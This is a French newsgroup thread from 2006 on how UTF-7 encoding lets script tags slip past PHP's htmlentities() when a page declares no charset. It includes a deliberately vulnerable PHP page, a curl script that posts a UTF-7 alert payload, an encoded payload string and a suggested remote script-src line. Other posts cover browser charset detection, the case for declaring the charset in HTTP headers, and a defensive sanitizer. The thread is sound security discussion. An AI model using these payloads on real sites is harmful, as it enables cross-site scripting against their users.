OVH Cloud OVH Cloud

[PHP] XSS, charsets et htmlentities()

14 réponses
Avatar
John GALLET
Bonjour,

[xpost fr.comp.securite fu2 fr.comp.lang.php, tous les deux modérés]


Au cours d'une discussion récente, certains contributeurs m'ont fait
remarqué la "faille" PHP suivante, dont j'ignorais totalement l'existence :

http://shiflett.org/archive/178

Etant de nature "Saint Thomas", j'essaie donc de reproduire dans un cas
réaliste l'attaque en question, surtout que ça permet toujours de mieux
comprendre ce qui se passe.

Or, je n'arrive absolument pas à reproduire cette "faille" dans une
autre configuration qu'un charset UTF-7, ce qui n'est en rien une faille
mais simplement lié au fait que htmlentities ne reconnait pas ce
charset, et c'est clairement spécifié dans le manuel:
http://fr2.php.net/manual/en/function.htmlentities.php

Voici les tests que j'ai effectués :

1) le script de réception, dont on teste la vulnérabilité. J'ai
magic_quotes_gpc activées, d'où le stripslashes parce que sinon le code
JS se fait sabrer de toutes façons.

recep.php

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-7">
<title>test</title>
</head>
<body>
<?php
echo "XSS me !<BR>".htmlentities(stripslashes($_REQUEST['var']));
?>
</body>
</html>


2) le stimulateur

<?php
dl('mbstring.so'); // je n'ai pas la lib en standard, dynamic load.
define ('ATTACK_URL','http://www.mabecane.tld/recep.php');
$string = "<script>alert('Pouet');</script>";
$string = mb_convert_encoding($string, 'UTF-7');
$data=array('var'=>$string);

// on donne l'URL du service.
$ch = curl_init(ATTACK_URL);

// login/pass si le répertoire est protégé par un .htaccess
// curl_setopt($ch,CURLOPT_USERPWD,"monlogin:monpass");

// on souhaite contrôler le retour nous même dans le cas général.
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
// on se fait le luxe d'envoyer les données par POST
curl_setopt($ch, CURLOPT_POST, 1);
// On n'envoie pas de headers particuliers
curl_setopt($ch, CURLOPT_HEADER, 0);
// on remplit ici les données à poster
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
// on appelle la page distante, exactement comme un navigateur
// et $str contient le retour généré.
$str=curl_exec($ch);
curl_close($ch);
// on pourrait tripatouiller $str si on le souhaitait
echo $str;
?>

On appelle ensuite le stimulateur ou par php -f ou par navigateur.
Tests effectués avec un netscape/mozilla quelconque sur linux.
Si je laisse UTF-7 comme charset, en effet, il y a bien affichage de la
pop-up JS. En essayant au hasard n'importe quoi d'autre comme charset
cité dans le man de htmlentities, et sans jamais spécifier de charset
comme 3eme paramètre de htmlentities( ), en mettant des charsets
différents ou identiques dans le stimulateur et le script de réception,
j'ai des zigouigouis, l'affichage html du code JS, mais jamais la
pop-up. Si je supprime l'appel à htmlentities(), la XSS a bien lieu.

Etant particulièrement nul en compréhension des charsets (ça m'a
toujours brouté) j'en conclue donc que j'ai dû passer à côté de quelque
chose, mais quoi ? Ca ne marche pas mieux en faisant un formulaire à la
place d'un appel à curl, même en forçant le accept-charset dans FORM.

JG

10 réponses

1 2
Avatar
Olivier Miakinen

http://shiflett.org/archive/178

Etant de nature "Saint Thomas", j'essaie donc de reproduire dans un cas
réaliste l'attaque en question, surtout que ça permet toujours de mieux
comprendre ce qui se passe.

Or, je n'arrive absolument pas à reproduire cette "faille" dans une
autre configuration qu'un charset UTF-7, ce qui n'est en rien une faille
mais simplement lié au fait que htmlentities ne reconnait pas ce
charset, et c'est clairement spécifié dans le manuel:
http://fr2.php.net/manual/en/function.htmlentities.php


Je répondrai plus loin.

Voici les tests que j'ai effectués :

[...]
echo "XSS me !<BR>".htmlentities(stripslashes($_REQUEST['var']));
[...]

2) le stimulateur

[...]
$string = "<script>alert('Pouet');</script>";
$string = mb_convert_encoding($string, 'UTF-7');


J'ai utilisé ceci pour faire la conversion en ligne :
<http://www.motobit.com/util/charset-codepage-conversion.asp>.

Résultat :
$string = "+ADw-script+AD4-alert('Pouet')+ADsAPA-/script+AD4-";

Pas étonnant que htmlentities ne voie pas les « < » et « > » !

[...]
Tests effectués avec un netscape/mozilla quelconque sur linux.


... avec la configuration par défaut concernant les encodages, je suppose.

Si je laisse UTF-7 comme charset, en effet, il y a bien affichage de la
pop-up JS. En essayant au hasard n'importe quoi d'autre comme charset
cité dans le man de htmlentities, et sans jamais spécifier de charset
comme 3eme paramètre de htmlentities( ), en mettant des charsets
différents ou identiques dans le stimulateur et le script de réception,
j'ai des zigouigouis, l'affichage html du code JS, mais jamais la
pop-up. Si je supprime l'appel à htmlentities(), la XSS a bien lieu.


Normal tant que le navigateur ne « devine » pas que c'est de l'UTF-7.

Etant particulièrement nul en compréhension des charsets (ça m'a
toujours brouté) j'en conclus donc que j'ai dû passer à côté de quelque
chose, mais quoi ?


Ce à côté de quoi tu es passé, c'est « Internet Explorer makes this
assumption automatically » : en l'absence de charset explicite, IE
essaye de deviner, et la présence des +Axx- lui permet de réussir assez
facilement.

Note que, même si ce n'est pas le comportement par défaut de Mozilla ni
de Firefox, on conseille souvent dans fciw.navigateurs de le configurer
pour qu'il le fasse aussi. Tu peux essayer toi-même : menu « Affichage »
(View en anglais), sous-menu « Encodage des caractères », « Détection
automatique », « Universel ».


Un dernier point : si ça ne marche toujours pas, c'est peut-être que tu
as correctement configuré ton serveur, de telle sorte qu'il envoie
lui-même un charset par défaut dans les entêtes HTTP (bien évidemment
différent de UTF-7).

Cordialement,
--
Olivier Miakinen

Avatar
ftc
1) le script de réception, dont on teste la vulnérabilité. J'ai
magic_quotes_gpc activées, d'où le stripslashes parce que sinon le code
JS se fait sabrer de toutes façons.


On pourrait remplacer par :
<script src=http://www.domaine.com/script.js></script>

Avatar
ftc
Or, je n'arrive absolument pas à reproduire cette "faille" dans une
autre configuration qu'un charset UTF-7, ce qui n'est en rien une faille
mais simplement lié au fait que htmlentities ne reconnait pas ce
charset, et c'est clairement spécifié dans le manuel:
http://fr2.php.net/manual/en/function.htmlentities.php

Voici les tests que j'ai effectués :
[SNIP]


On appelle ensuite le stimulateur ou par php -f ou par navigateur.
Tests effectués avec un netscape/mozilla quelconque sur linux.
Si je laisse UTF-7 comme charset, en effet, il y a bien affichage de la
pop-up JS. En essayant au hasard n'importe quoi d'autre comme charset
cité dans le man de htmlentities, et sans jamais spécifier de charset
comme 3eme paramètre de htmlentities( ), en mettant des charsets
différents ou identiques dans le stimulateur et le script de réception,
j'ai des zigouigouis, l'affichage html du code JS, mais jamais la
pop-up. Si je supprime l'appel à htmlentities(), la XSS a bien lieu.


Tu n'as pas regardé l'exposé du problème dans son intégralité. C'est
vrai que ce n'est pas directement une faille liée à PHP, c'est plutôt
une utilisation inappropriée de htmlentities et une faille de IE.

Le problème arrive dans deux circonstances :

1) le charset n'est spéciifé ni par le serveur ni dans la page de
destination, le navigateur va donc en déduire dans certaines conditions
( avec son système de détection automatique de charset ) que c'est une
page en UTF-7.

2) Le code UTF-7 est placé dans les 4096 premiers octets de la page,
dans ce cas, il semblerait que IE interprète la page comme étant du
UTF-7 malgré les charsets indiqués ( la faille a peut être été corrigée
depuis sur IE )

A noter que ce n'est pas spécifique à PHP, la faille a été à l'origine
mise en évidence sur Google.

Avatar
John Gallet
Re,


.... avec la configuration par défaut concernant les encodages, je suppose.
Avec rien de tripoté, donc probablement par défaut.


Normal tant que le navigateur ne « devine » pas que c'est de l'UTF-7.
C'est bien pour ça que j'avais précisé :

<meta http-equiv="Content-Type" content="text/html; charset=utf-7">
Ca ne suffit pas ? (si la réponse est "non, suffit pas", la question
suivante sera "alors à quoi ça sert ?")

Ce à côté de quoi tu es passé, c'est « Internet Explorer makes this
assumption automatically » : en l'absence de charset explicite, IE
essaye de deviner, et la présence des +Axx- lui permet de réussir assez
facilement.
Déjà, en test sous IE, si j'enlève la ligne :

header('Content-Type: text/html; charset=UTF-7');
alors ça m'affiche seulement les zigouigouis que tu as écris. Donc je ne
sais pas ce qu'il détecte soit disant automatiquement, mais pas la xss.
Test fait sous un XP pro SP2 patché au max en automatique.
Ensuite, j'ai refait les tests aujourd'hui sous IE, même combat.

Un dernier point : si ça ne marche toujours pas, c'est peut-être que tu
as correctement configuré ton serveur, de telle sorte qu'il envoie
lui-même un charset par défaut dans les entêtes HTTP (bien évidemment
différent de UTF-7).
Ce serait bien à l'insu de mon plein gré si tel était le cas.



JG

Avatar
John Gallet
Bonjour,

Tu n'as pas regardé l'exposé du problème dans son intégralité.
C'est possible. Moi je dis sur fclphp que htmlentities suffit pour

éviter les XSS, on me répond "non, cf le lien schmoll", ledit lien
schmoll n'explique rien et donc j'essaie de comprendre où est le
problème pour ne pas avoir l'impression d'être à l'abri des attaques
alors que la terre entière rigole dans mon dos.

vrai que ce n'est pas directement une faille liée à PHP, c'est plutôt
une utilisation inappropriée de htmlentities et une faille de IE.
Soit, mais je ne comprends toujours pas ce que htmlentities vient faire

là dedans.

1) le charset n'est spéciifé ni par le serveur ni dans la page de
destination,
Bon, donc je vire dans mon recep.php la spécification explicite du charset.


le navigateur va donc en déduire dans certaines conditions
( avec son système de détection automatique de charset ) que c'est une
page en UTF-7.
Pas chez moi sur I.E 6.0.2900.etc sous xp pro en sp2. Si je supprime la

définition explicite du charset dans le meta, j'obtiens les caractères à
la con. Je n'ai rien fait de spécial dans la configuration d'IE ou de la
machine windows en question, j'en suis bien incapable.

2) Le code UTF-7 est placé dans les 4096 premiers octets de la page,
Voici ce que je reçois :


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html lang="en">
<head>
<title>a</title>
</head>
<body>
XSS me !<BR>+ADw-script+AD4-alert('Pouet')+ADsAPA-/script+AD4-</body>
</html>

Ca doit faire moins de 4096 .

dans ce cas, il semblerait que IE interprète la page comme étant du
UTF-7 malgré les charsets indiqués ( la faille a peut être été corrigée
depuis sur IE )
Ca, c'est bien possible. Mais alors donc ce n'est pas lié à

htmlentities(), c'est un problème de navigateur.

A noter que ce n'est pas spécifique à PHP, la faille a été à l'origine
mise en évidence sur Google.


Bon, donc on en conclue quoi concrètement sur ce qu'il faut faire en PHP
et surtout sur le rôle ou l'appel de htmlentities( ) ? Moi j'en
concluerais bien qu'il faut spécifier explicitement le charset utilisé
dans les pages HTML (c'est pas un scoop, mais autant le vérifier) et que
htmlentities n'a **RIEN** à voir là dedans, ai-je tord ?

JG

Avatar
John Gallet
magic_quotes_gpc activées, d'où le stripslashes parce que sinon le code
JS se fait sabrer de toutes façons.
On pourrait remplacer par :

<script src=http://www.domaine.com/script.js></script>


Loin de moi l'idée de proposer magic_quotes_gpc comme une mesure anti
xss, mais comme je xpostais sur un forum où les contributeurs ne sont
pas nécessairement des habitués de PHP, j'estime qu'il fallait que
j'explique un mininum le code (même si du coup, un commentaire par ligne
sur l'appel de curl, c'est très chiant à lire).

JG


Avatar
Patrick Mevzek
Normal tant que le navigateur ne « devine » pas que c'est de l'UTF-7.
C'est bien pour ça que j'avais précisé :

<meta http-equiv="Content-Type" content="text/html; charset=utf-7">
Ca ne suffit pas ? (si la réponse est "non, suffit pas", la question
suivante sera "alors à quoi ça sert ?")


Non, le bon endroit c'est l'en-tête HTTP.
Et pour revenir à l'autre question (htmlentities vs XSS), dès 2000, le
CERT a clairement indiqué qu'on ne peut combattre les XSS correctement
*que* si le serveur web envoie *systématiquement* une mention de jeu de
caractères dans l'en-tête HTTP Content-Type.

C'est ce qu'illustre la faille exposée ici : si on trouve une façon de
représenter les caractères qui «brouille» notamment < et >, alors une
fonction comme htmlentities() (qui doit intraséquement supposer qu'elle
traite de l'ASCII - ou de l'isolatinX ou de l'UTF8 tout ceci est identique
sur les 128 premières valeurs) se fait berner, et ne fait pas son rôle.

C'est ce même genre de faille qui a été (et sera encore) exploité un
nombre incalculable de fois pour outrepasser des filtres.

Un dernier point : si ça ne marche toujours pas, c'est peut-être que tu
as correctement configuré ton serveur, de telle sorte qu'il envoie
lui-même un charset par défaut dans les entêtes HTTP (bien évidemment
différent de UTF-7).
Ce serait bien à l'insu de mon plein gré si tel était le cas.



Tout serveur web bien configuré devrait être dans ce cas.
J'ose espérer que c'est le réglage par défaut dans les sources
d'Apache, et que les distributions Unix font correctement leur travail à
ce niveau là.

Et souvent ca sera isolatin1 le jeu de caractères par
défaut (qui défait donc l'attaque en question), puisque c'était
historiquement le jeu de caractère par défaut en HTTP/HTML.

Pour finir, mort à toutes les applications et honte à tous les
développeurs PHP (ou autre) qui ne génèrent pas l'en-tête Content-Type
avec le jeu de caractères. Punition doublée pour ceux qui utilisent
<meta> à la place.

--
Patrick Mevzek . . . . . . Dot and Co (Paris, France)
<http://www.dotandco.net/> <http://www.dotandco.com/>
Dépêches sur le nommage <news://news.dotandco.net/dotandco.info.news>


Avatar
ftc

le navigateur va donc en déduire dans certaines conditions ( avec son
système de détection automatique de charset ) que c'est une page en
UTF-7.
Pas chez moi sur I.E 6.0.2900.etc sous xp pro en sp2. Si je supprime la

définition explicite du charset dans le meta, j'obtiens les caractères à
la con. Je n'ai rien fait de spécial dans la configuration d'IE ou de la
machine windows en question, j'en suis bien incapable.


Et la spécification du charset par le serveur ?

dans ce cas, il semblerait que IE interprète la page comme étant du
UTF-7 malgré les charsets indiqués ( la faille a peut être été
corrigée depuis sur IE )
Ca, c'est bien possible. Mais alors donc ce n'est pas lié à

htmlentities(), c'est un problème de navigateur.


Le problème vient essentiellement des navigateurs dont la détection de
charset est réglée sur automatique, même Firefox se fait berner.


A noter que ce n'est pas spécifique à PHP, la faille a été à l'origine
mise en évidence sur Google.


Bon, donc on en conclue quoi concrètement sur ce qu'il faut faire en PHP
et surtout sur le rôle ou l'appel de htmlentities( ) ? Moi j'en
concluerais bien qu'il faut spécifier explicitement le charset utilisé
dans les pages HTML (c'est pas un scoop, mais autant le vérifier) et que
htmlentities n'a **RIEN** à voir là dedans, ai-je tord ?


Le problème est que souvent justement on ne spécifie pas l'encodage.

Il semblerait que mb_convert_encoding( $string, 'HTML-ENTITIES' ); ne
fonctionne pas mieux.

La seule solution que j'ai trouvé est un bout de code extrait de SafeHTML:

function repackUTF7($str)
{
return preg_replace_callback('!+([0-9a-zA-Z/]+)-!',
'repackUTF7Callback', $str);
}

/**
* Additional UTF-7 decoding fuction
*
* @param string $str String for recode ASCII part of UTF-7 back to
ASCII
* @return string Recoded string
* @access private
*/
function repackUTF7Callback($str)
{
$str = base64_decode($str[1]);
$str = preg_replace_callback('/^((?:x00.)*)((?:[^x00].)+)/',
'repackUTF7Back', $str);
return preg_replace('/x00(.)/', '$1', $str);
}

/**
* Additional UTF-7 encoding fuction
*
* @param string $str String for recode ASCII part of UTF-7 back to
ASCII
* @return string Recoded string
* @access private
*/
function repackUTF7Back($str)
{
return $str[1].'+'.rtrim(base64_encode($str[2]), '=').'-';
}

on fait alors htmlentities( repackUTF7( $string ) );


Avatar
Olivier Miakinen
Le 02/03/2006 18:02, John Gallet me répondait :

.... avec la configuration par défaut concernant les encodages, je suppose.
Avec rien de tripoté, donc probablement par défaut.



Oui, c'est bien ce que je pensais.

Normal tant que le navigateur ne « devine » pas que c'est de l'UTF-7.
C'est bien pour ça que j'avais précisé :

<meta http-equiv="Content-Type" content="text/html; charset=utf-7">
Ca ne suffit pas ? (si la réponse est "non, suffit pas", la question
suivante sera "alors à quoi ça sert ?")


Tu poses plusieurs questions, et j'ai encore plus de réponses qu'il n'y
a de questions ! Pardon si je réponds un peu dans le désordre...

1) Le <meta http-equiv> n'est qu'un pis-aller pour les entêtes HTTP.
2) Un <meta http-equiv> c'est un tout petit peu mieux que rien du tout.
3) Les entêtes HTTP prennent le pas sur le <meta http-equiv>.
4) La faille signalée ici est dans le cas où rien n'est signalé du tout.
5) Je n'ai pas compris si ton « ça ne suffit pas ? » sous-entendait
« pour provoquer la faille » ou bien « pour éviter la faille ».
5.1) Dans le premier cas, et s'il n'y a pas d'entêtes HTTP, cela suffit
évidemment pour provoquer le problème. Mais personne de sensé ne
va mettre UTF-7 dans ses entêtes, on peut donc l'ignorer.
5.2) Dans le second cas, non cela n'évite pas la faille (au contraire).
5.3) Il y a encore un autre cas (charset spécifié, mais différent
de UTF-7), et ftc semblait dire que là encore la faille avait
pu exister dans IE, mais apparemment ce n'est plus le cas.

Déjà, en test sous IE, si j'enlève la ligne :
header('Content-Type: text/html; charset=UTF-7');
alors ça m'affiche seulement les zigouigouis que tu as écris. Donc je ne
sais pas ce qu'il détecte soit disant automatiquement, mais pas la xss.
Test fait sous un XP pro SP2 patché au max en automatique.
Ensuite, j'ai refait les tests aujourd'hui sous IE, même combat.


Je viens de refaire les tests moi-même. Pour ces tests, j'utilise quatre
fichiers sous http://www.miakinen.net/tmp/, qui sont xss.php, xss.html,
xss2.php et xss2.html.

Les deux premiers (xss.*) contiennent ceci :
----------------------------------------------------------------------
<html>
<head>
<title>xss.php</title>
</head>
<body>
+ADw-script+AD4-alert('Pouet')+ADsAPA-/script+AD4-
</body>
</html>
----------------------------------------------------------------------

Les deux autres (xss2.*) ont une balise meta en plus, déclarant un
charset égal à UTF-8 :
----------------------------------------------------------------------
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>xss.php</title>
</head>
<body>
+ADw-script+AD4-alert('Pouet')+ADsAPA-/script+AD4-
</body>
</html>
----------------------------------------------------------------------

Par ailleurs, les deux fichiers .php n'ont aucun charset déclaré dans
les entêtes HTTP, tandis que les deux fichiers .html ont ISO-8859-1
comme charset. Notons que, puisque les fichiers ne contiennent que de
l'ascii, ISO-8859-1 et UTF-8 sont tous deux des charsets valides pour
ces pages.

En résumé (à voir avec une police à chasse fixe) :

| entêtes HTTP | <meta http-equiv> |
----------+---------------+--------------------+
xss.php | - | - |
xss.html | ISO-8859-1 | - |
xss2.php | - | UTF-8 |
xss2.html | ISO-8859-1 | UTF-8 |
----------+---------------+--------------------+

Résultat des courses, lors du premier affichage des pages :
- Aucun problème avec Mozilla, que la détection automatique soit
activée ou non (les zigouigouis restent des zigouigouis).
- Aucun problème avec IE, avec détection automatique désactivée.
- Aucun problème avec IE pour les pages déclarant au moins un
encodage, qu'il soit dans les entêtes ou dans la balise meta.
- *Affichage de l'alerte dans IE lorsque la détection automatique*
*est activée et que l'on affiche xss.php*.

Cas particuliers :
- Avec IE, sur chacune des quatre pages, il suffit d'activer la
détection automatique pour afficher l'alerte, et ce même sur la
page qui déclare des charsets partout.
- Avec Mozilla, déclarer une fois qu'une page est en UTF-7 suffit
pour qu'elle le reste à chaque visite, du moins tant qu'elle est
encore dans le cache.


Par ailleurs, tu répondais à quelqu'un (je ne sais plus qui car tu as
« oublié » (sic) la ligne d'attribution) :

dans ce cas, il semblerait que IE interprète la page comme étant du
UTF-7 malgré les charsets indiqués ( la faille a peut être été corrigée
depuis sur IE )


Ca, c'est bien possible. Mais alors donc ce n'est pas lié à
htmlentities(), c'est un problème de navigateur.


Entendons-nous bien : htmlentities() n'est en aucune façon responsable
de cette faille. Simplement, au cas où quelqu'un croirait qu'il peut
inclure sans danger une chaîne de caractères dans son code sous prétexte
qu'il a passé htmlentities(), il doit savoir que ceci est faux s'il ne
précise pas de charset pour sa page et que le navigateur est IE (ou
Google à ce que j'ai pu comprendre).

--
Olivier Miakinen
Troll du plus sage chez les conviviaux : le nouveau venu, avec
son clan, s'infiltre dans les groupes de nouvelles. (3 c.)


Avatar
Nicob
On Thu, 02 Mar 2006 08:52:44 +0000, John GALLET wrote:

Au cours d'une discussion récente, certains contributeurs m'ont fait
remarqué la "faille" PHP suivante, dont j'ignorais totalement l'existence


Pour moi, c'est une faille dans l'_utilisation_ de PHP.

Or, je n'arrive absolument pas à reproduire cette "faille" dans une autre
configuration qu'un charset UTF-7, ce qui n'est en rien une faille mais
simplement lié au fait que htmlentities ne reconnait pas ce charset, et
c'est clairement spécifié dans le manuel


C'est bien ce que je disais : la faille réside dans l'application Web
elle-même (incohérence entre le charset utilisé pour filtrer les
données et celui utilisé pour renvoyer ces données au client) plutôt
que dans le langage sous-jacent (ici PHP). C'est pareil que pour les
include() : tout dépend du programmeur.

Si je laisse UTF-7 comme charset, en effet, il y a bien affichage de la
pop-up JS.


Charset non supporté par htmlentities() -> comportement normal.

Etant particulièrement nul en compréhension des charsets (ça m'a
toujours brouté) j'en conclue donc que j'ai dû passer à côté de
quelque chose, mais quoi ?


Euh ... je ne comprends pas ce que tu ne comprends pas :-(


Nicob

1 2